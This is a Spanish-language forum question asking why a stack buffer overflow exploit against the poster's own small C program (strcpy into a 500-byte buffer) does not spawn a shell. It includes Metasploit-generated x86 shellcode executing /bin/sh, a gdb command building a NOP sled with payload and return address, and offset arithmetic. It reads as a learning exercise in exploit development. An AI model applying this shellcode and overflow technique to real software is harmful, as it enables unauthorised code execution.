Caso de prueba de desbordamiento de búfer

0

Tengo un programa c fácil con:

char Buffer[500]
strcpy(Buffer,arvg[1])

Intenté provocar un desbordamiento con NOPs + exploit + return address.

utilizado: gdb debugger and gcc dirección de retorno: se dirige a NOPs payload: se genera mi metasploit payload linux/x86/exec con cmd / bin / sh, para abrir solo un shell

El problema, no está generando otro proceso, la dirección de retorno debe ser correcta. Tal vez sea la hazaña?

msf payload(linux/x86/exec) > generate
# linux/x86/exec - 43 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
# PrependSetreuid=false, PrependSetuid=false, 
# PrependSetresgid=false, PrependSetregid=false, 
# PrependSetgid=false, PrependChrootBreak=false, 
# AppendExit=false, CMD=/bin/sh
buf = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +
"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +
"\x80"

run $(python -c 'print "\x90" *356 +payload + "\x90" * 86 +"\x54\xff\x22\x00" ')

El EIP contiene la dirección de retorno dada, si agrego 20 x90 más, se bloquea y puedo ver la dirección de retorno en el eip con info registers .

Si cuento esto juntos, 356 + 43 + 86 + 4 = 489. ¿Pero debería tener una longitud de 500 + 4 ebp + 4 eip bytes?

    
pregunta 2IRN 23.05.2018 - 11:24
fuente

0 respuestas

Lea otras preguntas en las etiquetas